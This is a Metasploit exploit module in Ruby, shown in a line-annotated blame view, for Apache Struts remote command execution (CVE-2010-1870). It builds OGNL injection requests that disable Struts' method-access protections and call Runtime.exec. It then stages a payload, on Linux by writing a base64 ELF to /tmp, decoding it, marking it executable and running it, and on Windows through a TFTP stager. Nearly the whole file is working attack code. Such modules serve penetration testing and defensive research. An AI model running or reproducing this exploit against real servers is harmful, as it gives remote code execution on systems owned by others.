2011-08-19 05:52:09 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::CmdStagerTFTP
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a remote command execution vulnerability in
|
|
|
|
Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
|
|
|
|
handle unicode characters in OGNL extensive expressions passed to the web server.
|
|
|
|
|
|
|
|
By sending a specially crafted request to the Struts application it is possible to
|
|
|
|
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
|
|
|
|
Bypassing this restriction allows for the execution of arbitrary Java code.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bannedit', # metasploit module
|
|
|
|
'Meder Kydyraliev', # original public exploit
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-1870'],
|
|
|
|
[ 'OSVDB', '66280'],
|
|
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win', 'linux'],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Windows Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
}
|
|
|
|
],
|
|
|
|
['Linux Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 13 2010',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2011-08-19 05:54:58 +00:00
|
|
|
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
|
2011-08-19 05:52:09 +00:00
|
|
|
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def execute_command(cmd, opts = {})
|
|
|
|
uri = Rex::Text::uri_encode(datastore['URI'])
|
|
|
|
var_a = rand_text_alpha_lower(4)
|
|
|
|
var_b = rand_text_alpha_lower(2)
|
|
|
|
var_c = rand_text_alpha_lower(4)
|
|
|
|
var_d = rand_text_alpha_lower(4)
|
|
|
|
var_e = rand_text_alpha_lower(4)
|
|
|
|
|
|
|
|
uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
|
|
|
|
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
|
|
|
|
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
|
|
|
|
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
|
|
|
|
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
|
2011-08-19 05:59:32 +00:00
|
|
|
|
2011-08-19 05:52:09 +00:00
|
|
|
vprint_status("Attemping to execute: #{cmd}")
|
|
|
|
|
|
|
|
resp = send_request_raw({
|
|
|
|
'uri' => uri,
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'GET',
|
|
|
|
}, 5)
|
|
|
|
end
|
|
|
|
|
|
|
|
def windows_stager
|
|
|
|
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
|
|
|
|
|
|
|
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
|
|
|
execute_cmdstager({ :temp => '.'})
|
|
|
|
@payload_exe = payload_exe
|
|
|
|
|
|
|
|
print_status("Attempting to execute the payload...")
|
|
|
|
execute_command(@payload_exe)
|
|
|
|
end
|
|
|
|
|
|
|
|
def linux_stager
|
|
|
|
cmds = "/bin/sh@-c@echo LINE | tee FILE"
|
|
|
|
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
|
|
|
base64 = Rex::Text.encode_base64(exe)
|
|
|
|
base64.gsub!(/\=/, "\\u003d")
|
|
|
|
file = rand_text_alphanumeric(4+rand(4))
|
|
|
|
|
|
|
|
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
|
|
|
|
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
|
|
|
base64.each_line do |line|
|
|
|
|
line.chomp!
|
|
|
|
cmd = cmds
|
|
|
|
cmd.gsub!(/LINE/, line)
|
|
|
|
execute_command(cmds)
|
|
|
|
end
|
|
|
|
|
|
|
|
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
|
|
|
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
|
|
|
|
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
|
|
|
|
|
|
|
|
execute_command("/bin/sh@-c@/tmp/#{file}")
|
|
|
|
@payload_exe = "/tmp/" + file
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_new_session(client)
|
|
|
|
if target['Platform'] == 'linux'
|
2011-08-26 23:46:49 +00:00
|
|
|
print_status("Deleting #{@payload_exe} payload file")
|
2011-08-19 05:52:09 +00:00
|
|
|
execute_command("/bin/sh@-c@rm #{@payload_exe}")
|
|
|
|
else
|
|
|
|
print_status("Windows does not allow running executables to be deleted")
|
2011-08-26 23:46:49 +00:00
|
|
|
print_status("Delete the #{@payload_exe} file manually after migrating")
|
2011-08-19 05:52:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
if not datastore['CMD'].empty?
|
|
|
|
print_status("Executing user supplied command")
|
|
|
|
execute_command(datastore['CMD'])
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
case target['Platform']
|
|
|
|
when 'linux'
|
|
|
|
linux_stager
|
|
|
|
when 'win'
|
|
|
|
windows_stager
|
|
|
|
else
|
|
|
|
raise RuntimeError, 'Unsupported target platform!'
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|